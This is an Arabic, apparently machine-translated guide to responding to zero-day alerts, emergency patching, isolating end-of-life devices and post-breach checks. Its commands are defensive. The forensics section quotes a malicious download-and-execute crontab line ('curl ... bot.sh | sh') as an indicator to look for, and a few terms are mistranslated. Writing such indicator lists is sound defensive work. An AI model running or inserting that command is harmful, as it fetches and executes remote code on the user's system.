تنبيهات الثغرات الأمنية في يوم الصفر، والتصحيح في حالات الطوارئ، وعزل الشبكة¶

الاستيقاظ على تحذير عاجل بشأن الأمن السيبراني من وكالة الأمن السيبراني وأمن البنية التحتية الأمريكية (CISA)، المركز الوطني للأمن السيبراني في المملكة المتحدة (NCSC)، تحذر Apple أو Google أو Microsoft من وجود ثغرة أمنية خطيرة Zero-Day (0-Day) يتم استغلاله ** بشكل نشط في البرية (KEV)** ضد جهاز iPhone أو هاتف Android أو جهاز الكمبيوتر الشخصي الذي يعمل بنظام Windows أو Mac أو متصفح Chrome أو جدار حماية VPN للمنزل/المكتب أو وحدة التخزين المتصلة بالشبكة (NAS) القيادة، أو اكتشاف أن جهاز توجيه Wi-Fi المنزلي أو كاميرا الأمان NVR أو الكمبيوتر الأقدم قد وصل إلى نهاية العمر الافتراضي (EoL / نهاية الدعم) ولن نتلقى أبدًا تصحيحًا لخلل تنفيذ التعليمات البرمجية عن بُعد الذي تم الكشف عنه حديثًا، ويتطلب فرزًا فوريًا. على عكس تحديثات البرامج الشهرية الروتينية، فإن استغلال يوم الصفر يعني أن الجهات الفاعلة في مجال التهديد تمتلك بالفعل استغلالًا مسلحًا (مثل استغلال محلل الصور iMessage/WhatsApp بنقرة صفر، أو استغلال متصفح WebP/الخط الضار، أو استغلال حقن أوامر منفذ WAN غير المصادق ضد أجهزة التوجيه وأجهزة NAS) قبل أن ينشر المدافعون الإصلاح. مرة واحدة يتم إثبات المفهوم في يوم الصفر (PoC) تم نشره أو إضافته إلى نقاط الضعف المعروفة المستغلة بواسطة CISA (KEV) الكتالوج، شبكات الروبوت الآلية (Mirai, Volt Typhoon، الشركات التابعة لبرامج الفدية) قم بفحص إنترنت IPv4 بالكامل خلال 15 إلى 45 دقيقة لاختطاف كل جهاز غير مُصحح ومعرض للويب المفتوح.

إذا أدت إحدى ثغرات يوم الصفر إلى تعطيل معدات سلامة الحياة أو الأنظمة السريرية للمستشفيات أو البنية التحتية للمرافق العامة، أو كانت تنطوي على تهديدات بالابتزاز الجسدي، فاتصل برقم الطوارئ المحلي (911 في الولايات المتحدة وكندا، 112 في جميع أنحاء الاتحاد الأوروبي، 999 في المملكة المتحدة) أو راجع دليلنا الدولي أرقام الطوارئ على الفور. لجميع المستهلكين، والمكاتب المنزلية، والشركات الصغيرة، وتنبيهات يوم الصفر ونهاية العمر الافتراضي (EoL) في حالات طوارئ الأجهزة، قم بتنفيذ التصحيح السريع والتخفيف المؤقت وسير عمل عزل الشبكة أدناه.

افعل هذا الآن¶

1. ** تطبيق الطوارئ خارج النطاق (OOB) التصحيحات وأكمل إعادة التشغيل الكامل / إعادة تشغيل المتصفح على الفور : تنزيل تحديث الطوارئ لا فائدة منه حتى يتم إلغاء تحميل الكود الضعيف في ذاكرة الوصول العشوائي. في Chrome وEdge وBrave وFirefox، يظل يوم الصفر المصحح قابلاً للاستغلال في الذاكرة حتى تنقر فوق الزر العلوي الأيمن "إعادة التشغيل للتحديث" (chrome://settings/help). على أنظمة التشغيل iOS وmacOS وWindows وAndroid، قم بتشغيل التحديث يدويًا وأعد تشغيل الجهاز بالكامل** (مما يؤدي أيضًا إلى إزالة برامج التجسس غير الدائمة الموجودة في الذاكرة).
2. إذا لم يكن هناك تصحيح متاح ليوم صفر حتى الآن ("يوم صفر غير مُصحح")، فقم بتطبيق الحل المؤقت الخاص بالمورد أو تقليل سطح الهجوم (ASR) قاعدة اليوم: عندما يتم الكشف عن ثغرة أمنية قبل تجميع التصحيح، تنشر CISA والمورد إجراءات تخفيف مؤقتة (مثل تعطيل إدارة UPnP وWAN عن بعد على جهاز توجيه، أو تشغيل Apple Lockdown Mode على iOS/macOS، أو تعطيل JavaScript JIT في Edge/Chrome، أو حظر منفذ TCP/UDP محدد في جدار الحماية).
3. ** قم بتدقيق عنوان IP العام الخاص بك على Shodan.io أو GRC ShieldsUP الآن وأغلق جميع منافذ WAN المكشوفة (Port Forwarding / UPnP / DMZ): أصاب تسعون بالمائة من الاختراقات غير المتوقعة في المنازل والشركات الصغيرة الأجهزة التي يمكن الوصول إليها مباشرة من الإنترنت العام (QNAP / Synology محركات ناس, ASUS / Netgear / TP-Link صفحات إدارة جهاز التوجيه، Plex, RDP Port 3389أو VPN الأجهزة). قم بتسجيل الدخول إلى جهاز التوجيه الخاص بك وقم بتعطيل إدارة WAN عن بعد وUPnP (التوصيل والتشغيل العالمي)** ومضيف DMZ فورًا بعد دليل تأمين أجهزة التوجيه المنزلية وأجهزة إنترنت الأشياء.
4. أعد تشغيل هاتفك المحمول وجهاز التوجيه على الفور إذا كنت تشك في وجود برامج تجسس أو إصابة بشبكة الروبوتات بدون نقرة: عمليات استغلال يوم الصفر المتطورة ضد الهواتف الذكية (Pegasus, Predator, Triangulation) وأجهزة التوجيه SOHO (VPNFilter, KV Botnet) غالبا ما تعمل بحتة داخل متقلبة RAM لتجنب الكشف على القرص. يؤدي إيقاف تشغيل الجهاز تمامًا، والانتظار لمدة 60 ثانية، ثم إعادة تشغيله إلى إجبار المهاجم على إعادة استغلال الجهاز (والذي يفشل بمجرد تنشيط تصحيح الطوارئ أو وضع التأمين).
5. افترض أن تصحيح يوم الصفر لا يطرد المهاجم الذي اخترق جهازك بالفعل قبل أن تقوم بالتصحيح: يغلق تصحيح البرنامج النافذة المفتوحة، لكنه لا يزيل الأبواب الخلفية، أو أغلفة الويب، أو حسابات المشرف المارقة، أو ملفات تعريف ارتباط الجلسة المسروقة التي تم إنشاؤها إذا استغل أحد المهاجمين نظامك بالأمس. إذا تعرض جهاز التوجيه أو NAS أو VPN أو الخادم الخاص بك إلى الإنترنت أثناء عدم المصادقة عليه CVSS 9.8+ كان Zero-day نشطًا في البرية، تحقق من السجلات بحثًا عن مؤشرات التسوية (IoCs)، قم بتدوير جميع بيانات الاعتماد، ثم قم بإعادة ضبط المصنع أو إعادة البناء إذا تم اختراقه.
6. ** عزل أي نهاية للحياة (EoL) جهاز لم يعد بإمكانه تلقي تصحيحات الأمان على شبكة Guest / IoT VLAN صارمة مع حظر الوصول إلى الإنترنت عبر شبكة WAN **: لا تترك أبدًا جهاز كمبيوتر منتهي الصلاحية يعمل بنظام Windows ⅞/10، أو جهاز Mac قديم غير مدعوم، أو جهاز Android/iPhone قديم، أو جهاز توجيه Wi-Fi متوقف متصل مباشرة بشبكة LAN الرئيسية أو الإنترنت المفتوح. إذا كان جهاز توجيه EoL هو بوابة الإنترنت الرئيسية لديك، افصله واستبدله على الفور.

شجرة القرار: فرز الطوارئ لتنبيهات يوم الصفر النشطة ونهاية العمر (EoL) الأجهزة¶

اتبع شجرة القرارات المنظمة هذه عندما يؤثر إشعار عاجل بشأن الثغرات الأمنية في يوم الصفر أو إشعار نهاية العمر على برامجك أو أجهزتك:

flowchart TD
    Alert["تم الإعلان عن تنبيه عاجل لـ Zero-Day (0-Day) أو CISA KEV لنظام التشغيل أو المتصفح أو جهاز التوجيه أو NAS"] --> PatchCheck{"1. هل أصدر البائع تصحيحًا أمنيًا للطوارئ؟"}
    PatchCheck -->|"نعم: التصحيح متاح"| Exposure{"2. هل كان جهازك معرضًا مباشرة للإنترنت (منفذ WAN مفتوح) قبل التصحيح؟"}
    Exposure -->|"الرقم: جهاز العميل خلف NAT (الهاتف، الكمبيوتر المحمول، المتصفح)"| Apply["قم بتثبيت التحديث عبر الإعدادات الأصلية + إعادة التشغيل الكامل / إعادة تشغيل المتصفح على الفور"]
    Exposure -->|"نعم: جهاز توجيه عام أو NAS أو VPN أو خادم"| Forensic["هام: التصحيح وحده لا يطرد المهاجمين. فحص السجلات بحثًا عن أغطية الويب/المسؤولين المارقين أو التصحيح أو تدوير المفاتيح أو إعادة ضبط المصنع"]
    PatchCheck -->|"لا: لم يتم تصحيحه لمدة 0 يوم أو انتهى عمر الجهاز (EoL)"| EoLCheck{"3. هل انتهى عمر الجهاز بشكل دائم (EoL) أم أنه في انتظار تصحيح البائع؟"}
    EoLCheck -->|"في انتظار تصحيح البائع (نافذة مؤقتة لمدة 0 يوم)"| Mitigate["تطبيق الحل البديل للطوارئ: إغلاق منافذ WAN، أو تمكين وضع تأمين Apple / Windows ASR، أو تعطيل الخدمة الضعيفة"]
    EoLCheck -->|"نهاية الحياة بشكل دائم (لن يأتي أي تصحيح على الإطلاق)"| Role{"4. ما هو الدور الذي يلعبه جهاز موسوعة الحياة؟"}
    Role -->|"جهاز توجيه الحافة / جدار الحماية / المودم"| Replace["افصل واستبدل على الفور (أو البرامج الثابتة OpenWrt المدعومة بالفلاش إذا كانت الأجهزة متوافقة)"]
    Role -->|"جهاز كمبيوتر قديم أو هاتف قديم أو طابعة أو كاميرا أو NAS"| Isolate["Air-Gap أو الانتقال إلى IoT VLAN المعزولة + حظر الوصول إلى الإنترنت في جدار حماية جهاز التوجيه"]

قراءة نصيحة يوم الصفر مثل مهندس الأمن (فك التشفير CVE, CVSS, CISA KEV، و EPSS)¶

ليست كل ثغرة في البرامج يتم الإبلاغ عنها في وسائل الإعلام تتطلب إسقاط كل شيء في الساعة 2:00 صباحًا. فهم المؤشرات الفنية الخمسة داخل المسؤول CISA, NIST NVD، أو نشرة أمان البائع تخبرك خلال 30 ثانية عما إذا كنت تواجه خطأً في المعمل النظري أو حريقًا في المنزل بخمسة إنذارات:

المرحلة الأولى: التصحيح والتحقق في حالات الطوارئ في يوم الصفر عبر جميع المنصات الرئيسية¶

عندما يصل يوم الصفر النشط إلى نظام التشغيل أو متصفح الويب الخاص بك، فلا تنتظر نوافذ الصيانة التلقائية طوال الليل (والتي غالبًا ما تؤخر التثبيت لمدة تتراوح من 3 إلى 14 يومًا). فرض السحب والتحقق من رقم الإصدار يدويًا:

1. متصفحات الويب (Google Chrome، وMicrosoft Edge، وBrave، وFirefox، وSafari): الهدف رقم 1 في يوم الصفر¶

لأن متصفحات الويب تحلل جافا سكريبت غير الموثوق به (V8 / SpiderMonkey / JavaScriptCore مترجمي JIT)، وتدفقات فيديو WebRTC، ورسومات WebGL، وتنسيقات الصور (WebP, libvpx, FreeType) من كل موقع وإعلان تزوره، تمثل الأيام صفر في المتصفح غالبية تنبيهات اليوم صفر للمستهلك. 1. جوجل كروم: اكتب chrome://settings/help في شريط العناوين. سيتحقق Chrome على الفور من خوادم تحديث Google وسيقوم بتنزيل التصحيح. يجب عليك النقر فوق الزر الأزرق "إعادة التشغيل" الذي يظهر، وإذا كانت لديك عمليات Chrome مخفية في الخلفية تعمل في علبة النظام، فأغلقها جميعًا أو أعد تشغيل جهاز الكمبيوتر الخاص بك بحيث تكون الأجهزة القديمة عرضة للخطر chrome.exe يتم إلغاء تحميل الملف الثنائي بالكامل من ذاكرة الوصول العشوائي (RAM). 2. مايكروسوفت إيدج: النوع edge://settings/help، انتظر حتى يصل التنزيل إلى 100%، ثم انقر فوق إعادة التشغيل. 3. ** متصفح شجاع **: اكتب brave://settings/help وانقر فوق إعادة التشغيل. 4. Mozilla Firefox: انقر على زر القائمة -> مساعدة -> حول Firefox (أو اكتب about:preferences#general -> قم بالتمرير إلى تحديثات Firefox) وانقر فوق إعادة التشغيل لتحديث Firefox. 5. Apple Safari: يتم تجميع تحديثات Safari مباشرة داخل تحديثات نظام iOS وiPadOS وmacOS (بالإضافة إلى تحديثات Safari المستقلة ضمن System Settings -> General -> Software Update لنظام التشغيل MacOS Sonoma/Ventura).

2. الهواتف الذكية والأجهزة اللوحية (Apple iOS / iPadOS وGoogle Android)¶

يتم استخدام الأيام الصفرية للجوال (خاصة عيوب iMessage وFaceTime وWebKit ومودم النطاق الأساسي ونظام Android / Qualcomm GPU) بكثافة من قبل برامج التجسس التجارية (Pegasus, Predator) والجهات الفاعلة التهديد المستهدفة. - آيفون وآيباد (iOS / iPadOS): 1. افتح الإعدادات -> عام -> تحديث البرنامج . 2. قم بتشغيل التحديثات التلقائية -> استجابات الأمان وملفات النظام (لذلك يتم تطبيق Apple استجابات الأمان السريعة / تحسينات أمان الخلفية تلقائيًا بين إصدارات iOS الرئيسية). 3. قم بتثبيت تحديث iOS المعلق على الفور، والذي يتضمن إعادة تشغيل kernel بالكامل. - الهواتف الذكية التي تعمل بنظام Android (Google Pixel وSamsung Galaxy وغيرها): 1. لدى Android بالفعل قناتان منفصلتان للتحديث الأمني يجب عليك التحقق منهما بشكل مستقل: - القناة أ (مستوى تصحيح أمان نظام التشغيل): افتح الإعدادات -> الأمان والخصوصية -> النظام والتحديثات -> التحديث الأمني (وافحص التاريخ: يجب أن يكون خلال آخر 30 إلى 60 يومًا). - القناة ب (تحديث نظام Google Play / Project Mainline): افتح الإعدادات -> الأمان والخصوصية -> النظام والتحديثات -> تحديث نظام Google Play. يتم تصحيح العديد من أيام الصفر المهمة في برامج ترميز وسائط Android ومكدس Wi-Fi ووقت التشغيل عبر تحديثات نظام Google Play دون انتظار تحديث البرنامج الثابت الشهري لمشغل شبكة الجوال. انقر فوق التحقق من وجود تحديث، وتثبيت، وإعادة التشغيل الآن.

3. أنظمة تشغيل سطح المكتب (Windows 10/11 وmacOS وLinux)¶

• ويندوز 10 وويندوز 11:
• افتح الإعدادات (Win + I) -> Windows Update -> التحقق من وجود تحديثات.
• تحقق أيضًا من أمان Windows -> الحماية من الفيروسات والتهديدات -> تحديثات الحماية -> التحقق من وجود تحديثات (تقوم Microsoft بشكل متكرر بشحن اكتشافات يوم الصفر الطارئة وتصحيحات الثغرات الافتراضية داخل تحديثات تعريف Microsoft Defender Security Intelligence يوميًا قبل ساعات من جاهزية التصحيح التراكمي الكامل لنظام Windows).
• أبل ماك:
• افتح قائمة Apple -> إعدادات النظام -> عام -> تحديث البرنامج. تأكد من تشغيل "تثبيت استجابات الأمان وملفات النظام" ضمن المعلومات (i) زر.
• ** لينكس (Ubuntu / Debian و RHEL / Fedora)**:
• قم بإجراء تحديث فوري لمستودع الأمان وتحقق مما إذا كانت النواة أو المكتبة المشتركة (glibc, openssl, openssh, xz, cups) مطلوب إعادة التشغيل:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

المرحلة 2: الحلول الطارئة في حالة عدم وجود تصحيح حتى الآن (النجاة من نافذة "يوم الصفر غير المصحّح")¶

ماذا تفعل عندما CISA, Microsoft, Apple، أو تعلن شركة أمنية عن استغلال ثغرة أمنية خطيرة بشكل نشط الآن، لكن البائع يقول إن التصحيح الرسمي لن يكون جاهزًا لمدة تتراوح بين 3 إلى 10 أيام أخرى؟ يجب عليك تطبيق عناصر التحكم التعويضية وتقليل سطح الهجوم على الفور (ASR) لكسر سلسلة الاستغلال قبل أن تتمكن من التنفيذ:

البرنامج النصي للنسخ واللصق: التصلب الطارئ لـ Windows PowerShell بدون يوم (ASR القواعد)¶

إذا تم تداول نظام التشغيل Windows أو Office أو PDF غير المصحح في البرية وكنت تستخدم Windows 10/11 Pro/Enterprise (أو تستخدم Defender على Windows Home عبر التسجيل/PowerShell)، فقم بتشغيل هذه الأوامر في PowerShell (تشغيل كمسؤول) لتنشيط Attack Surface Reduction (تقليل سطح الهجوم) الأساسي لبرنامج Microsoft Defender (ASR) القواعد في Block الوضع (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

المرحلة 3: ما يجب فعله عندما يصل جهازك إلى نهاية العمر الافتراضي (EoL / نهاية الدعم)¶

تصل كل قطعة من الأجهزة والبرامج في نهاية المطاف إلى نهاية العمر الافتراضي (EoL) أو نهاية الدعم (EoS)، وهو التاريخ الذي تتوقف بعده الشركة المصنعة نهائيًا عن إصدار تصحيحات الأمان، حتى عندما يكون الأمر كارثيًا CVSS 10.0 تم اكتشاف ثغرات يوم الصفر. - ** لماذا تعتبر نهاية الحياة حالة طوارئ نشطة **: يستخدم المهاجمون "التمييز الثنائي" الآلي (BinDiff / Ghidra) على التصحيحات التي تم إصدارها للطرز المدعومة (على سبيل المثال، Windows 11 أو جهاز توجيه 2025 TP-Link الجديد) لإجراء هندسة عكسية للثغرة الأمنية الدقيقة، ثم إطلاق هذا الاستغلال على الفور ضد نماذج نهاية العمر (مثل Windows ⅞/Windows 10 غير المشترك فيها، أو إصدارات macOS الأقدم، أو أجهزة التوجيه التي يبلغ عمرها 5 سنوات) التي تشترك في نفس الرمز القديم ولكنها لن تحصل أبدًا على التصحيح ("Forever-Day" يستغل").

نهاية الحياة ذات المستويات الأربعة (EoL) عزل الأجهزة وبروتوكول الاستبدال¶

استخدم مصفوفة القرار هذه للتعامل مع كل جهاز منتهي الصلاحية في منزلك أو مكتبك دون المخاطرة بحدوث اختراق على مستوى الشبكة:

كيفية قفل نهاية الحياة (EoL) الطابعة أو الكاميرا أو NAS داخل "سجن محلي فقط بدون إنترنت" على جهاز التوجيه الخاص بك¶

إذا كان لديك طابعة شبكة قديمة أو تلفزيون ذكي أو كاميرا أمان IP أو محرك أقراص NAS قديم لا يزال يعمل بشكل جيد محليًا على شبكتك المنزلية (LAN) ولكنه وصل إلى نهاية العمر ولن يتلقى تصحيحًا أمنيًا آخر أبدًا، لا يتعين عليك رميه في سلة المهملات إذا قمت بحظره من الاتصال بالإنترنت الخارجي (WAN): 1. قم بتسجيل الدخول إلى وحدة التحكم الإدارية لجهاز توجيه Wi-Fi الأساسي. 2. انتقل إلى إعدادات LAN / خادم DHCP -> تأجير DHCP الثابت (حجز العنوان) وقم بتعيين جهاز EoL MAC Address عنوان IP محلي ثابت ودائم (على سبيل المثال، 192.168.1.240). 3. انتقل إلى **جدار الحماية / المراقبة الأبوية / التحكم في الوصول / قواعد المرور ** في إعدادات جهاز التوجيه الخاص بك: - إنشاء قاعدة ل 192.168.1.240 (أو لها MAC Address) تم ضبطه على حظر الوصول إلى جميع الإنترنت (WAN) (Outbound & Inbound WAN = DROP/REJECT). - وبدلاً من ذلك، داخل إعدادات الشبكة اليدوية الخاصة بجهاز EoL، قم بتعيين عنوان IP الثابت الخاص به على 192.168.1.240، قناع الشبكة الفرعية ل 255.255.255.0و اترك Default Gateway و DNS Server الحقول فارغة تمامًا (أو قم بتعيين البوابة الافتراضية على عنوان IP غير موجود مثل 192.168.1.254). بدون بوابة افتراضية صالحة، لا يزال بإمكان طابعة أو كاميرا EoL الطباعة من أجهزة الكمبيوتر المحلية لديك أو البث إليها 192.168.1.x الشبكة الفرعية، ولكنها غير قادرة فعليًا على توجيه الحزم إلى الإنترنت أو الوصول إليها من الإنترنت.

المرحلة 4: الطب الشرعي بعد الاستغلال إذا تم كشف جهازك قبل تصحيحه¶

عندما أ CVSS 9.8+ يؤثر يوم الصفر غير المصادق عليه على جهاز متصل بالإنترنت (مثل جهاز توجيه منزلي أو خاص بشركة صغيرة، وبوابة VPN، QNAP / Synology ناس، Plex خادم الوسائط، أو سطح المكتب الذي يتم توجيهه عبر المنفذ)، يؤدي تطبيق تحديث البرنامج الثابت الخاص بالمورد إلى إغلاق الباب الأمامي فقط. إذا وصل ماسح ضوئي آلي إلى عنوان IP العام الخاص بك قبل أن تقوم بالتصحيح، فربما يكون المهاجم قد زرع بالفعل بابًا خلفيًا مستمرًا ينجو من عملية إعادة التشغيل القياسية. قم بتنفيذ هذا التدقيق الجنائي المكون من 4 خطوات بعد التصحيح:

1. التحقق من وجود حسابات المسؤول غير المصرح بها ومفاتيح SSH:
2. افتح شاشة إدارة المستخدمون / المسؤولون على جهاز NAS أو جهاز التوجيه أو الكمبيوتر الخاص بك وتحقق من عدم وجود حسابات إدارية غير مألوفة (مثل support, admin2, backupأو system) تم إنشاؤها خلال نافذة يوم الصفر.
3. في أنظمة Linux/macOS/NAS، قم بفحص -/.ssh/authorized_keys و /root/.ssh/authorized_keys للتحقق من عدم إضافة أي مفاتيح SSH عامة خادعة.
4. **تدقيق اتصالات الشبكة الصادرة النشطة (netstat / مراقبة حركة مرور جهاز التوجيه) وإعدادات DNS **:
5. كثيرًا ما يتم اختراق أجهزة توجيه SOHO وأجهزة NAS خوادم DNS الأساسية والثانوية لشبكة WAN للإشارة إلى عنوان IP مخادع، أو الحفاظ على اتصال عكسي مستمر / اتصال الروبوتات (SOCKS5 وكيل أو Tor التتابع).
6. قم بتسجيل الدخول إلى WAN / إعدادات الإنترنت بجهاز التوجيه الخاص بك وتأكد من تعيين DNS على الوضع الافتراضي لمزود خدمة الإنترنت (ISP) أو محلل عام تم التحقق منه (1.1.1.1, 8.8.8.8أو 9.9.9.9).
7. تحقق cron الوظائف والبرامج النصية لبدء التشغيل وأدلة جذر الويب لـ Web Shell:
8. غالبًا ما تسقط عمليات استغلال يوم الصفر ضد الأجهزة المُدارة عبر الويب قليلًا .php, .jsp, .aspxأو .cgi web shell في دليل خادم الويب الخاص بالجهاز أو قم بإدخال ملف مستمر crontab سطر التنزيل والتنفيذ (curl http://.../bot.sh | sh).
9. إذا أظهر جهاز التوجيه أو NAS استخدامًا مرتفعًا غير مبرر لوحدة المعالجة المركزية (CPU)، أو ارتفاعًا غريبًا في حركة المرور الصادرة، أو ثنائيات نظام معدلة بعد تنبيه اليوم صفر، لا تثق في تحديث البرنامج الثابت في مكانه وحده: قم بعمل نسخة احتياطية من ملفات بيانات المستخدم النقية (الصور والمستندات فقط، ولا تقم مطلقًا بالنسخ الاحتياطية لتكوين النظام التي قد تحتوي على وظيفة cron الخاصة بالمهاجم)، وقم بإجراء إعادة ضبط المصنع للأجهزة بالكامل، وقم بتثبيت أحدث البرامج الثابتة المصححة يدويًا من جهاز كمبيوتر نظيف، وقم بتعيين كلمة مرور مسؤول جديدة تمامًا وبذرة MFA جديدة.
10. تدوير جميع بيانات الاعتماد المخزنة على الجهاز المصاب بالثغرة أو التي تم تمريرها عبره:
11. إذا تم اختراق جهاز Edge VPN أو جهاز توجيه أو NAS قبل التصحيح، وأي كلمات مرور نصية عادية وبيانات اعتماد مشاركة شبكة SMB ومفاتيح API للنسخ الاحتياطي السحابي (AWS S3, Backblaze B2, Wasabi)، أو مفاتيح SSL/TLS الخاصة المخزنة على هذا الجهاز يجب إبطالها وإعادة إنشائها على الفور.

الأسئلة المتداولة¶

هل يؤدي تثبيت تصحيح اليوم الأول إلى إزالة المتسللين إذا كان جهازي قد تم استغلاله بالفعل قبل أن أقوم بالتحديث؟¶

لا. يعمل تصحيح أمان البرنامج فقط على إصلاح الثغرة الأمنية الأساسية للتعليمات البرمجية، وبالتالي تفشل محاولات الاستغلال المستقبلية؛ فهو لا يطرد المهاجم الذي استغل بالفعل الثغرة الأمنية قبل التصحيح وقام بزرع غلاف ويب مستمر، أو ثنائي الباب الخلفي، أو مهمة مجدولة، أو حساب مسؤول مارق، كما أنه لا يبطل ملفات تعريف الارتباط للجلسة أو كلمات المرور التي سرقوها بالفعل. إذا تعرض جهازك مباشرة للإنترنت العام (مثل جهاز توجيه أو NAS أو جهاز VPN أو خادم عام) أثناء استغلال يوم صفر غير مصادق عليه بشكل نشط، فيجب عليك فحص سجلات النظام بحثًا عن مؤشرات الاختراق (IoCs)، وتدوير جميع كلمات المرور ومفاتيح SSH/API، وإجراء إعادة ضبط المصنع أو إعادة تثبيت نظام التشغيل في حالة حدوث أي وصول غير مصرح به.

كيف يمكنني التحقق مما إذا كان جهاز توجيه Wi-Fi أو جهاز الكمبيوتر الخاص بي قد وصل إلى نهاية العمر الافتراضي (EoL)؟¶

انظر إلى ملصق الشركة المصنعة الموجود أسفل جهاز التوجيه الخاص بك (مع ملاحظة رقم الطراز الدقيق ومراجعة الأجهزة، مثل الإصدار 1 أو الإصدار 2 أو الإصدار 4) وتحقق من صفحة الويب الرسمية لقائمة منتجات نهاية العمر / نهاية الخدمة الخاصة بالشركة المصنعة (التي تم نشرها بواسطة ASUS وNetgear وTP-Link وLinksys وD-Link وSynology وQNAP)، أو تحقق من قاعدة بيانات المجتمع على endoflife.date للتعرف على أنظمة التشغيل والهواتف والبرامج. بالإضافة إلى ذلك، قم بتسجيل الدخول إلى شاشة تحديث البرامج الثابتة لجهاز التوجيه الخاص بك: إذا كان تاريخ أحدث البرامج الثابتة المتاحة أكثر من 18 إلى 24 شهرًا، فتعامل مع جهاز التوجيه باعتباره نهاية العمر الفعلي واستبدله أو قم بفلاش البرامج الثابتة OpenWrt المدعومة.

هل يمكنني جعل جهاز الكمبيوتر الشخصي الذي يعمل بنظام Windows 10 أو جهاز Mac القديم آمنًا دون شراء جهاز كمبيوتر جديد؟¶

نعم. عندما تنهي Microsoft دعم أمان المستهلك المجاني لإصدار Windows أو تقوم Apple بإسقاط طراز Intel الأقدم أو طراز Mac الأقدم من تحديثات macOS، فإن أجهزة الكمبيوتر الفعلية تكون على ما يرام؛ نظام التشغيل فقط هو نهاية العمر الافتراضي. يمكنك إما تسجيل جهاز كمبيوتر يعمل بنظام Windows 10 في برنامج Microsoft Extended Security Updates (ESU) الرسمي، أو نسخ ملفاتك احتياطيًا وتثبيت نظام تشغيل Linux حديث ومصحح بشكل فعال ومجاني مثل Linux Mint أو Ubuntu LTS أو Fedora أو Google ChromeOS Flex عبر محرك أقراص USB محمول، مما يمنح الكمبيوتر المحمول الموجود لديك 5 إلى 8 سنوات أخرى من التحديثات الأمنية المستمرة لـ kernel والمتصفح.

تم التأكد من المصادر¶

• وكالة الأمن السيبراني وأمن البنية التحتية (CISA، الولايات المتحدة): نقاط الضعف المستغلة المعروفة (KEV) الكتالوج، التوجيه التشغيلي الملزم BOD 22-01 (تقليل المخاطر الكبيرة لنقاط الضعف المستغلة المعروفة)، و BOD 23-02 (تخفيف المخاطر الناجمة عن واجهات الإدارة المكشوفة عبر الإنترنت).
• مكتب التحقيقات الفيدرالي (FBI)، جهاز الأمن الوطني (NSA)، والمركز الوطني للأمن السيبراني في المملكة المتحدة (NCSC): استشارة مشتركة للأمن السيبراني بشأن التخفيف من استغلال شبكة الروبوتات في نهاية العمر (EoL) أجهزة توجيه SOHO وجدران الحماية وأجهزة VPN.
• المعهد الوطني للمعايير والتكنولوجيا (NIST، الولايات المتحدة): SP 800-40 Rev. 4، دليل تخطيط إدارة تصحيح المؤسسات: الصيانة الوقائية للتكنولوجيا.
• Apple Platform Security & Citizen Lab (جامعة تورونتو): بنية وضع التأمين لنظامي التشغيل iOS / macOS والاستجابة الأمنية السريعة، إرشادات تخفيف برامج التجسس بنقرة صفر.
• مركز الاستجابة الأمنية لـ Microsoft (MSRC): تقليل سطح هجوم Microsoft Defender (ASR) مرجع النشر للتخفيف من آثار يوم الصفر والخروج عن النطاق الترددي (OOB) إرشادات التحديث الأمني.

أدلة ذات صلة¶

• تأمين أجهزة التوجيه المنزلية وأجهزة التلفاز الذكية وأجهزة إنترنت الأشياء
• إزالة البرامج الضارة وبرامج الفدية وبرامج التجسس
• الكشف عن برامج الملاحقة وبرامج التجسس وكلوغر على الهواتف
• الاستجابة لخرق البيانات، وكلمات المرور المسربة، وتجميد الائتمان
• أرقام الطوارئ حسب البلد